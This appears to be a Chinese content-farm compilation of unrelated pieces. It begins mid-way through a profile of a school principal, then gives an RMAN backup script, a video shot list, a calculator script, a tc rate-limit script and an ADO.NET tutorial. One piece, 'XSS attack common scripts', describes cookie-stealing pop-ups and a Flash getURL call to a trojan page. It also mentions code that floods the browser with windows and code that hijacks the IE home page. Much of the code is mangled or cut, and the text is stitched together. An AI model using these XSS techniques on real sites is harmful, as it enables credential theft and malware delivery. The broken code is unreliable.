曹华庚，1988年参加工作以来，先后担任县实验小学教导主任、副校长等职务。7月，曹华庚凭着自己的实力，成为南城县首位竞聘上岗的校长。从走上校长岗位的第一天起，曹华庚坚信一定要把南城一小办好、办出特色。上任之初，曹华庚结合本校现状，确定“快乐学习、健康成长、全面发展”的新时期学校的办学理念，打造“择善而行、登高致远”的校园文化--“择善而行”：引领全体师生择善书而读，择善人而交，择善言而听，择善事而为，择善行而从，与善为友，携手良善；“登高致远”：激励全体师生要胸怀大志，志存高远。
刚刚建成的南城县第一小学，只有区区两幢教学大楼，校园的绿化、操场等其他设施设备还没有完善，教育教学管理一切从头做起。为改变现状，曹华庚身先士卒，白天，他带领教师栽树植草，搬砖填土；晚上，他和值班老师忍受着蚊虫的叮咬、高温的烘烤、黑夜的煎熬，兴致盎然地探讨学校定位、发展方向、三年规划等一系列的话题。为了搞好教学，他走进课堂和老师探讨。为了搞好学校管理，他常常伏案工作到深夜。为了启动学校二期工程建设，他来往奔波……老师们被他的这种忘我工作的精神深深感动着--
（同期声）南城县第一小学教师曾燕平：“三年过去了，我们大家还清楚地记得，建校之初，曹校长什么事都亲历亲为，冲洗教室，购置教学设备等……”南城县第一小学教师黄新晟：“虽然只需10多分钟，他就可以回到自己的家，但从星期一到周末一半以上的时间，他都在学校里住宿，没有宿舍，他就睡在教室里……”
“乱收费、乱补课、乱订教辅资料”现象，一直是社会关注的热点问题。他从警示教育入手，认真开展师德师风大讨论，和教师签订《师德师风责任书》，并向家长作出公开承诺。到目前，该校无一例乱收费现象、无一例乱补课行为、无一例乱订教辅资料事件、无一例家长或社会投诉。
“一份付出，一份收获”，在他和全校教师们共同的努力下，如今，走进校园，绿草如茵、鸟语花香，荣誉墙上各种奖牌熠熠生辉，学校管理井然有序。
“孺子牛”的情怀 温暖师生心田
身为校长的曹华庚，不仅带头搞好教学，对师生更是投入无微不至的关怀。
在第一小学这个大家庭里，哪位老师有困难、哪位学生有艰辛，曹华庚总是第一个出现在他们身边，孩子们都把他当成“亲爸爸”，老师们都把他当作“好兄长”。
学校五年级三班的章润同学是位留守儿童，母亲早逝，父亲在外打工，章润只能跟着70多岁的老奶奶一起生活，因为缺少父母关爱，章润性格孤僻，学习成绩一直上不去。曹华庚了解情况后，主动和章润结成帮扶“对子”，有事没事经常去章润家走动，不时送一些课外书和学习用品给他，并且在章润所在的班级成立了帮扶小组，让同学们主动和他交朋友，辅导他的学习，现在的章润不但性格开朗，而且学习成绩也节节攀升。
（同期声）南城县第一小学学生章润：“曹校长和同学们都对我很好，我在这里读书，好像是在一个大家庭里生活，我感到很幸福！”
在曹华庚的带动下，全校所有老师都主动和班上的留守学生结成了对子，把学生当成自己的孩子，把家长当亲人，有力地促进了教育教学事业的发展，树立了南城一小良好的对外形象。
因为是新学校，条件艰苦而且待遇不高，青年教师张正良一度产生了去海南教学的念头。为了留住有限的师资力量，曹华庚在工作生活上，像兄长一样对他处处关心，经常与他一起探讨学校的定位、办学思路、规划发展……
（同期声）南城县第一小学教师张正良：“虽然在私立学校的待遇比这边要高得多，但是，曹校长用真情留住了我，让我觉得留下来比出去要好，也是曹校长让我看到了学校发展的希望，我有信心在曹校长的带领下把南城一小办成一所名校……”
“老黄牛”的执着 推动教学提升
曹华庚说他从边远的农村来，有着农村人的`质朴与勤奋。而在第一小学所有的师生们眼中，他就像田野间默默耕耘的“老黄牛”，默默奉献，不求索取。
为了在老师中间形成良好的“赶帮超”态势，曹校长亲自搭台让老教师与年轻教师在一起唱戏，让每位老师除了上好自己的课外，还互相听课，取长补短。他只要有时间就走进课堂听课，与老师共同探讨。在校长的亲身引领下，在老师们中间形成了互相学习、共同提高、积极向上的良好氛围。
（同期声）南城县第一小学教师段秀珍：“校长工作那么繁忙，他还能静心听课，认真研讨，作为老师，我们没有理由不做好自己的本职工作。”
于是，南城一小的老师们忙碌了、充实了，他们工作的目标更明确了，劲头更足了。上课之余，老师谈的是学生，聊的是课堂的得失，大家互帮互学，争相比进步。同时，他又创造性地在开展语文、数学科“同课异构三个一”（说课、上课、评课）系列化教研活动，采取“走出去、请进来”的办法让教师在名师引领下，实现专业化成长。在曹华庚带领一班人指导下，余丽娜老师更是成为江西省20唯一参加在成都举行的全国优质课竞赛。三年来，该校黎燕、封卫东、邱远等十多名教师先后代表省、市、县参加各类教学竞赛，并取得优异成绩。学校也先后获得了“语言文字规范化示范校”“平安校园示范校”“先进集体”“师德师风示范校”等国家、省、市共十多项荣誉称号，并由省教育厅向教育部推荐申请“全国书写特色学校”。他本人先后获省“骨干教师”、省“优秀学科指导教师”、市“优秀教师”、市“学科带头人”、市“民族团结进步模范个人”、县首届“十大教坛精英”之“优秀校长”、县“十佳教学能手”等称号。9月，曹校长被推选为市教育系统先进人物，在全市巡回演讲。
（同期声）南城县第一小学教师朱素华：“一想到上班，我就觉得是件充实的事、幸福的事……”南城县第一小学教师江根林：“曹校长就是一所好学校，充满着人格感染力，学也学不完……”南城县第一小学校长曹华庚：“正如苏霍姆林斯基所说，我愿意首先成为学校文化和思想的引领者，也愿意成为学生快乐成长、老师幸福施教、学校绿色发展的服务者。以拓荒牛的锐气和坚韧，以孺子牛的温情和智慧，以老黄牛的执着和勤勉，努力把南城县第一小学办成一所优质的、人民群众满意的学校。”
在未来的岁月里，这位秉承“踏实做事，谦卑做人”原则的校长，一定会在这条神圣的教育之路上走得更远，为教育事业书写更华丽的 篇章！
20xx年6月底
篇9：RMANfullincr0incr1三合一脚本
-h 查看帮助信息[oracle@gc1 ~]$ sh backup.sh -hThe following information teach you how to use this scriptbackup.sh --fullbackup.sh --incr0 backup.sh --incr1 THE is the place where you want to store the backupAfter you set the RMAN_HOME , The script. will create the following directory:-- _06_01|-- archlog --This directory store your archivelog backup|-- ctlfile --This directory store your controlfile bakcup|-- data --This directory store your backup| |-- incr0 --This is your incr0 backupset-- log --This is your backup log directory|-- dbbak.log --This log records the backup start and finish time points|-- incr0_2015-06-01.log --This your backup log records the rman output informationbackup.sh --helpUsage:backup.sh --full backup.sh --incr0 backup.sh --incr1 backup.sh --help#!/bin/bashcmd=$1script_name=`basename $0`RMAN_HOME=$2/`date +%Y_%m_%d`print_usage {echo ”Usage:“echo ” $script_name --full “echo ” $script_name --incr0 “echo ” $script_name --incr1 “echo ” $script_name --help “}print_help() {echo ”The script. was written by FAN“echo ”The following information teach you how to use this script“echo ” $script_name --full“echo ” $script_name --incr0 “echo ” $script_name --incr1 “echo ” THE is the place where you want to store the backup“echo ” After you set the RMAN_HOME , The script. will create the following directory:“echo ” -- 2015_06_01“echo ” |-- archlog --This directory store your archivelog backup“echo ” |-- ctlfile --This directory store your controlfile bakcup“echo ” |-- data --This directory store your backup“echo ” | |-- incr0 --This is your incr0 backupset“echo ” -- log --This is your backup log directory“echo ” |-- dbbak.log --This log records the backup start and finish time points“echo ” |-- incr0_2015-06-01.log--This your backup log records the rman output information“echo ” $script_name --help“print_usage}full() {#-----------------------script. env-----------------------local LOGFILE=$RMAN_HOME/$datedir/log/dbbak.loglocal LOGDATE=`date +%Y-%m-%d`local RMANLOG=$RMAN_HOME/$datedir/log/full_${LOGDATE}.logif [ ! -d ${RMAN_HOME} ];then mkdir -p $RMAN_HOMEmkdir $RMAN_HOME/archlogmkdir $RMAN_HOME/ctlfilemkdir $RMAN_HOME/datamkdir $RMAN_HOME/logmkdir $RMAN_HOME/data/fullfiif [ ! -f ${LOGFILE} ];then touch ${LOGFILE}fiif [ ! -f ${RMANLOG} ];then touch ${RMANLOG}fi#-------------start backup-----------------echo ”-------------------------Rman full backup -------------------------“ >>${LOGFILE}echo ”backup_full start time:“ `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo ”----------------------Rman Database backup_full ------------“`date +%Y-%m-%d_%H:%M:%S` >${RMANLOG}$ORACLE_HOME/bin/rman target / ${RMANLOG}run{delete noprompt obsolete;crosscheck archivelog all;delete noprompt expired archivelog all;allocate channel c1 type disk MAXPIECESIZE 5g;allocate channel c2 type disk MAXPIECESIZE 5g;allocate channel c3 type disk MAXPIECESIZE 5g;allocate channel c4 type disk MAXPIECESIZE 5g;allocate channel c5 type disk MAXPIECESIZE 5g;backup AS COMPRESSED BACKUPSET database tag 'fullbackup' filesperset 3 format '$RMAN_HOME/data/full/db_full_%T_%d_%t_%s_%p.rbck' include current controlfile;backup AS COMPRESSED BACKUPSET format '$RMAN_HOME/archlog/arch_full_%T_%d_%t_%s_%p.rbck' archivelog all delete input;backup current controlfile format '$RMAN_HOME/ctlfile/ctl_%d_%T_%s_%p_%t.rbck';crosscheck backup;delete noprompt expired backup;release channel c1;release channel c2;release channel c3;release channel c4;release channel c5;}exit;EOFecho ”backup_full finish! check in :“ ${RMANLOG} >>${LOGFILE}echo ”backup_full end time:“ `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo ”-------------------------------full_end-----------------------------------“ >>${LOGFILE}#end of fileecho ”Full backup complete,your backup are in $RMAN_HOME“}incr0() {#-----------------------script. env-----------------------local LOGFILE=$RMAN_HOME/$datedir/log/dbbak.loglocal LOGDATE=`date +%Y-%m-%d`local RMANLOG=$RMAN_HOME/$datedir/log/incr0_${LOGDATE}.logif [ ! -d ${RMAN_HOME} ];then mkdir -p $RMAN_HOMEmkdir $RMAN_HOME/archlogmkdir $RMAN_HOME/ctlfilemkdir $RMAN_HOME/datamkdir $RMAN_HOME/data/incr0mkdir $RMAN_HOME/logfiif [ ! -f ${LOGFILE} ];then touch ${LOGFILE}fiif [ ! -f ${RMANLOG} ];then touch ${RMANLOG}fi#-------------start incr0 backup-----------------echo ”-------------------------Rman incr0 backup -------------------------“ >>${LOGFILE}echo ”backup_incr0 start time:“ `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo ”----------------------Rman Database backup_incr0 ------------“`date +%Y-%m-%d_%H:%M:%S` >${RMANLOG}$ORACLE_HOME/bin/rman target / ${RMANLOG}run{delete noprompt obsolete;crosscheck archivelog all;delete noprompt expired archivelog all;allocate channel c1 type disk MAXPIECESIZE 5g;allocate channel c2 type disk MAXPIECESIZE 5g;allocate channel c3 type disk MAXPIECESIZE 5g;allocate channel c4 type disk MAXPIECESIZE 5g;allocate channel c5 type disk MAXPIECESIZE 5g;backup AS COMPRESSED BACKUPSET incremental level 0 database tag 'incr0backup' filesperset 3 format '$RMAN_HOME/data/incr0/db_full_%T_%d_%t_%s_%p.rbck' include current controlfile;backup AS COMPRESSED BACKUPSET format '$RMAN_HOME/archlog/arch_full_%T_%d_%t_%s_%p.rbck' archivelog all delete input;backup current controlfile format '$RMAN_HOME/ctlfile/ctl_%d_%T_%s_%p_%t.rbck';crosscheck backup;delete noprompt expired backup;release channel c1;release channel c2;release channel c3;release channel c4;release channel c5;}exit;EOFecho ”backup_incr0 finish! check in :“ ${RMANLOG} >>${LOGFILE}echo ”backup_incr0 end time:“ `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo ”-------------------------------incr0_end-----------------------------------“ >>${LOGFILE}#end of fileecho ”Incremental 0 backup complete,your backup are in $RMAN_HOME“}incr1() {#-----------------------script. env-----------------------local LOGFILE=$RMAN_HOME/$datedir/log/dbbak.loglocal LOGDATE=`date +%Y-%m-%d`local RMANLOG=$RMAN_HOME/$datedir/log/incr1_${LOGDATE}.logif [ ! -d ${RMAN_HOME} ];then mkdir -p $RMAN_HOMEmkdir $RMAN_HOME/archlogmkdir $RMAN_HOME/ctlfilemkdir $RMAN_HOME/datamkdir $RMAN_HOME/data/incr1mkdir $RMAN_HOME/logfiif [ ! -f ${LOGFILE} ];then touch ${LOGFILE}fiif [ ! -f ${RMANLOG} ];then touch ${RMANLOG}fi#-------------start incr1 backup-----------------echo ”-------------------------Rman incr1 backup -------------------------“ >>${LOGFILE}echo ”backup_incr1 start time:“ `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo ”----------------------Rman Database backup_incr1 ------------“`date +%Y-%m-%d_%H:%M:%S` >${RMANLOG}$ORACLE_HOME/bin/rman target / ${RMANLOG}run{delete noprompt obsolete;crosscheck archivelog all;delete noprompt expired archivelog all;allocate channel c1 type disk MAXPIECESIZE 5g;allocate channel c2 type disk MAXPIECESIZE 5g;allocate channel c3 type disk MAXPIECESIZE 5g;allocate channel c4 type disk MAXPIECESIZE 5g;allocate channel c5 type disk MAXPIECESIZE 5g;backup AS COMPRESSED BACKUPSET incremental level 1 database tag 'incr1backup' filesperset 3 format '$RMAN_HOME/data/incr1/db_full_%T_%d_%t_%s_%p.rbck' include current controlfile;backup AS COMPRESSED BACKUPSET format '$RMAN_HOME/archlog/arch_full_%T_%d_%t_%s_%p.rbck' archivelog all delete input;backup current controlfile format '$RMAN_HOME/ctlfile/ctl_%d_%T_%s_%p_%t.rbck';crosscheck backup;delete noprompt expired backup;release channel c1;release channel c2;release channel c3;release channel c4;release channel c5;}exit;EOFecho ”backup_incr1 finish! check in :“ ${RMANLOG} >>${LOGFILE}echo ”backup_incr1 end time:“ `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo ”-------------------------------incr1_end-----------------------------------“ >>${LOGFILE}#end of fileecho ”Incremental 1 backup complete,your backup are in $RMAN_HOME“}case ”$cmd“ in--help)print_help;;-h)print_help;;--h)print_help;;--full)full;;--incr0)incr0;;--incr1)incr1;;esac
篇10：自我介绍的脚本
自我介绍的脚本
远景、近景、中景、特写、全景
1、从路上走向镜头 固定镜头中景 2S
2、介绍自己 我叫冯婷，来自江西赣州。 固定镜头 近景 3S
3、图书馆门前 固定镜头 全景 1S
4、走进图书馆 推镜头 2S
5、坐在图书馆的沙发上看书 固定镜头 5S
6、自我介绍 “我喜欢看书，喜欢在图书馆这种安静的环境下看书。” 3S
7、图书馆的环境 摇镜头 全景 2S
8、抱着书走出图书馆固定镜头 中景 3S
9、宿舍里书桌上的书摇镜头 全景 2S
10、拿着PS书，“我们学了PS，除了做做书上的作业之外，也会自己处理自己的照片啊 什么的，偶尔也会恶搞。”固定镜头 近景 7S
11、电脑屏幕――在做PS的作业 固定镜头 全景 2S
12、自己在偷着笑 固定镜头 特写 1S
13、在电脑前用PS恶搞朋友们的照片 固定镜头 近景 3S
14、自己在玩FLASH小游戏 固定镜头 中景 2S
15、游戏的相关介绍 固定镜头 特写 1S
16、手拿FLASH的书 “其实，是想学点FLASH的制作。” 固定镜头 近景 4S
17、实验室的门口的牌子 固定镜头 特写 2S
18、实验室的环境 固定镜头 全景 3S
19、做在计算机前介绍 “平时，我们就是在这上PS和FLASH课的，学校给我们提供了很好的`学习环境。” 6S
20、在教室上计算机维护与维修 认真的听课 推镜头 3S
21、笔记本上的笔记 固定镜头 特写 3S
22、计算机维护与维修实验室 固定镜头 特写 2S
23、上计算机维护与维修实验课的时候，忙着做实验 固定镜头 中景 3S
24、学校的大门口 固定镜头 近景 2S
25、边走在路上边总结 “在大学里，我始终认真的在学习新的知识，我觉得很有趣。” 拉镜头 全景 7S
26、做在草地上 “平时的我，也喜欢一些运动，跑步啦，还有羽毛球。” 固定镜头 近景 3S
27、早晨，在洗漱 固定镜头 中景 3S
28、走出宿舍 固定镜头 中景 2S
29、跑步的背影，从学校后门开始 固定镜头 全景 2S
30、从陶艺中心跑步回来 拉镜头 中景 3S
31、推宿舍门 固定镜头 中景 2S
32、拿着书去出去了 固定镜头 中景 2S
33、自习室 固定镜头 特写 1S
34、走进自习室 固定镜头 近景 3S
35、在自习室读书 固定镜头 近景 2S
36、羽毛球场上 “平时，我也喜欢打羽毛球。” 摇镜头 全景 3S
37、和朋友拿着羽毛球拍从宿舍门口出来了 推镜头 中景 2S
38、在路上和朋友聊着走向羽毛球场 推镜头 中景 3S
39、先是挂羽毛球网 固定镜头 全景 3S
40、开始打球我开始发球 固定镜头 近景 3S
41、朋友等待接球 固定镜头 近景 2S
42、朋友在接球 摇镜头 中景 3S
43、我们开心的打球 固定镜头 全景 3S
44、我们和打球的人一起坐在草地上休息，聊天 固定镜头 全景 3S
45、海慧游乐园里的烧烤园 “我节假日在这打工。” 固定镜头 特写 2S
46、在石板凳上准备一天要烧烤的东西 固定镜头 特写 3S
篇11：XSS 攻击常用脚本
XSS 攻击常用脚本，大家可以了解xss攻击的一些知识做好网站安全防范，
1、这个应该都知道2、
这句代码将会弹出壹个包含有浏览者cookie信息的对话框，如果用户已经通过帐号登陆网站，在显示的cookie信息中将会包含有用户的账户名和密码。
3、,当用户浏览该 页时，将弹出壹个高200，宽200的网页窗口，在其中打开的页面是www.pete.cn/default.asp
4、跨站攻击的形式是多样的，不仅可以在网页中插入跨站脚本代码，而且可以在flash文件中插入跨站脚本代码，实现跨站攻击。由于flash文件有较高 的安全性，用户通常对flash文件的警惕性不够，因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中，例如制作成网页banner或者广告，那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的，通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击，其实现方法入下：
首先运行flash文件制作工具flash8.exe，新建壹个空白的flash文档。然后选中其中的第壹帧，进入界面下方的“动作”编辑界面，在Action Script中插入我们的跨站脚本代码
getURL(”网页木马地址“, ”_blank“, ”GET“);
loadMovieNum(”www.pete.cn/test.swf“, 0);
5、
这就是 传说中的框架 - - 膜拜吧 还有JS 也可以使用，比框架更隐蔽
6、Refresh到另壹个页面：
7、scriptlet引入另壹个页面：
------------------------------------------------------------------------------------------------------------
下面来几段长的 但是 记住 要慎用 ！！
1、打开无数个浏览器窗口，直至CPU超负荷，非关机不可：
2、
修改注册表（IE 主页）：
有时候，
我最后要说的壹句话就是“害人终害己”，切记！
篇12：交互式计算器脚本
01
#!/bin/sh
02
03
# calc.sh -- 一个看起来像是bc的前端的命令行计算器
04
05
scale=2
06
07
show_help
08
{
09
cat << EOF
10
In addition to standard math function, calc also supports
11
12
a % b remainder of a/b
13
a ^ b exponential: a raised to the b power
14
s(x) sine of x, x in radians
15
c(x) cosine of x, x in radians
16
a(x) actangent of x, returns radians
17
l(x) natural log of x
18
e(x) exponential log of raising e to the x
19
j(n, x) bessel function of integer order n of x
20
scale N show N fractional digits(default = 2)
21
22
EOF
23
}
24
25
if [ $# -gt 0 ]; then
26
exec scriptbc.sh ”$@“
27
fi
28
29
echo ”Calc - a simple calculator. Enter 'help' for help, 'quit' to quit.“
30
31
echo -n ”calc>“
32
33
while read command args # 像不像Python的顺序解包
34
do
35
case $command in
36
quit|exit) exit 0;;
37
help|\?) show_help;;
38
scale) scale=$args;;
39
*) scriptbc.sh -p $scale ”$command“ ”$args“;;
40
esac
41
42
echo -n ”calc>“
43
done
44
45
echo ”“
46
47
exit 0
脚本如何运行：
可能这个脚本最有意思的部分就是那个while循环了，
交互式计算器脚本
，
它创建一个calc>的提示，直到用户完成输入。当然，这个脚本的间接性成就了它自己：shell脚本并不需要特别的复杂。
运行脚本：
这个脚本跑起来非常简单，因为它是一个交互式的，可以提示用户完成特定操作。如果有参数传递给它，它就转而把这些参数传给scripbc.sh。
运行结果：
01
calc 150 / 3.5
02
42.85
03
04
./calc.sh
05
Calc - a simple calculator. Enter 'help' for help, 'quit' to quit.
06
calc>help
07
In addition to standard math function, calc also supports
08
09
a % b remainder of a/b
10
a ^ b exponential: a raised to the b power
11
s(x) sine of x, x in radians
12
c(x) cosine of x, x in radians
13
a(x) actangent of x, returns radians
14
l(x) natural log of x
15
e(x) exponential log of raising e to the x
16
j(n, x) bessel function of integer order n of x
17
scale N show N fractional digits(default = 2)
18
19
calc>54354 ^ 3
20
160581137553864
21
22
calc>quit
篇13：linux上传限速脚本
以下脚本可用于对服务器进行上传限速，当业务使用处于高峰期时，为不影响业务的正常使用，限制上传速度，保证能正常提供服务，
原理是使用linux中的TC（流量控制模块）实现限速功能。
脚本的使用如下：
启动：sh limit.sh start 200 (限制上传速度为200kb/s)
停止：sh limit.sh stop
#!/bin/bash#a simple example for ”tc“#set the paramDELAY=20SPEED=$2FLOW=0#出口网卡NETWORK_CARD=$(ip ro get 115.29.128.27 | grep eth | awk '{print $5}')#服务器IPIP_ADDRESS=115.29.128.28start () { /sbin/tc qdisc add dev ${NETWORK_CARD} root handle 1: htb default 25 /sbin/tc class add dev ${NETWORK_CARD} parent 1: classid 1:1 htb rate ${SPEED}kbps /sbin/tc qdisc add dev ${NETWORK_CARD} parent 1:1 netem delay ${DELAY}ms ${FLOW}ms /sbin/tc filter add dev ${NETWORK_CARD} parent 1: protocol ip prio 1 u32 match ip dst ${IP_ADDRESS}/32 flowid 1:1}stop () { /sbin/tc qdisc dele dev ${NETWORK_CARD} root}case ”$1“ in start) start ;; stop) stop ;; *) echo ”Usage: `basename $0` {start|stop} speed(kb/s)“esac
篇14：浅谈ADO.NET数据库脚本
最近跟着公司做了一个小项目，虽然不是很好，却也有点心得，在此和大家分享一下，希望高手能不吝赐教啊，。。还有很多得更加努力学习啊
这次我使用ADO.NET来插入一条数据，到数据库中。主用到存储过程。我不想每次都是用SQL文本的形式了，那样始终没有进步～～～
下面首先，我把我这次练习要用到的数据库脚本，贴出来：
USE master --使用系统数据库 GO IF EXISTS(SELECT * FROM sysdatabases WHERE name=N‘DB_MyStudentLife‘) DROP DATABASE [DB_MyStudentLife]; --如果要创建的数据库存在的话，就删除 GO CREATE DATABASE [DB_MyStudentLife] --创建数据库 GO USE [DB_MyStudentLife] --使用数据库 GO IF EXISTS(SELECT * FROM sysobjects WHERE name=N‘MyClass‘) DROP TABLE [MyClass] --如果要创建的数据表存在的话，就删除(注意sysobjects，一定要全部是小写的，不然有错误，不能写成大写的。) GO CREATE TABLE MyClass --创建数据表 ( C_ID INT NOT NULL PRIMARY KEY, --班级编号 C_Name NVARCHAR(200) not null, --班级名称 C_Descr nvarchar(max) not null --班级简介 ); GO IF EXISTS(SELECT * FROM sysobjects WHERE name=N‘MyStudent‘) DROP TABLE MyStudent GO CREATE TABLE MyStudent ( S_ID int not null primary key, --学号 S_Name nvarchar(50) not null, --姓名 S_Gender char(2) not null,--性别 S_Address nvarchar(max) not null , --地址 S_Phone nvarchar(50)not null, --电话 S_Age int not null, --年龄 S_Birthday datetime not null, --生日 S_CardID int not null, --身份证号码 S_CID int not null references MyClass(C_ID) --班级编号 );
接着大家选中刚才执行脚本，创建好的数据库，然后使用我下面的数据，向数据库表里面添加数据吧
insert into MyClass(C_ID,C_Name,C_Descr)values(1,‘软件1108班‘,‘武汉软件工程职业学院‘); insert into MyClass(C_ID,C_Name,C_Descr)values(2,‘软件1107班‘,‘武汉软件工程职业学院‘); insert into MyClass(C_ID,C_Name,C_Descr)values(3,‘实验班‘,‘武汉软件工程职业学院‘); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘1‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘2‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘3‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘4‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘5‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘6‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘7‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘8‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘9‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘10‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘11‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘12‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘13‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘14‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘15‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘16‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1); insert into MyStudent(S_ID,S_Name,S_Gender,S_Age,S_Birthday,S_CardID,S_Phone,S_Address,S_CID)values(‘17‘,‘李四‘,‘男‘,‘22‘,‘1992-09-26‘,‘111111111‘,‘11232131234‘,N‘深圳宝安石岩‘,1);
说明一下，等会我要向MyClass表中插入数据，现在为这个表创建一个插入的存储过程：
IF OBJECT_ID(‘Ins_ClasseD‘,‘P‘) IS NOT NULL DROP PROCEDURE Ins_ClasseD GO CREATE PROCEDURE Ins_ClasseD @C_ID int , @C_Name nvarchar(200) , @C_Descr nvarchar(max) AS INSERT INTO dbo.MyClass ( C_ID, C_Name, C_Descr ) VALUES ( @C_ID, -- C_ID - int @C_Name, -- C_Name - nvarchar(200) @C_Descr -- C_Descr - nvarchar(max) ); GO
下面开始程序实现：
我是复习，ADO.NET，现在就随便建了一个控制台的应用程序，来开始我的测试：
注意;在下面的例子中，为了尽可能简单易于理解，我没有把连接字符串的那部分代码，放到配置文件中，
如果要放的话，要用到System.Configuration命名空间，还有一个ConfigurationManager类..具体的细节就不说了。
请看具体实现代码：
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Data;using System.Data.SqlClient;namespace ADO.NET插入一条数据到数据库中{ class Program { //连接字符串 private static string sqlCon = ”server=.;database=DB_MyStudentLife;uid=sa;pwd=Password_1“; static void Main(string[] args) { //1创建连接对象（连接字符串） SqlConnection scon = new SqlConnection(sqlCon);//2创建命令对象（为命令对象设置属性） SqlCommand scmd = new SqlCommand(); scmd.CommandText = ”Ins_ClasseD“; scmd.CommandType = CommandType.StoredProcedure; //这里我使用存储过程来插入数据 scmd.Connection = scon; //3打开数据库连接 scon.Open();//设置参数 scmd.Parameters.Add(new SqlParameter(”@C_ID“,6)); scmd.Parameters.Add(new SqlParameter(”@C_Name“, ”测试班“)); scmd.Parameters.Add(new SqlParameter(”@C_Descr“, ”软件测试技术“)); //4发送命令 int result= scmd.ExecuteNonQuery(); //5处理数据 if (result >0) { Console.WriteLine(”插入数据成功“); } else { Console.WriteLine(”插入数据失败"); } //6最后一步，差点忘记了，一定要关闭连接 scon.Close(); Console.ReadKey(); } }}
程序执行玩之后的效果图：
以上所述就是本文的全部内容了，希望大家能够喜欢。
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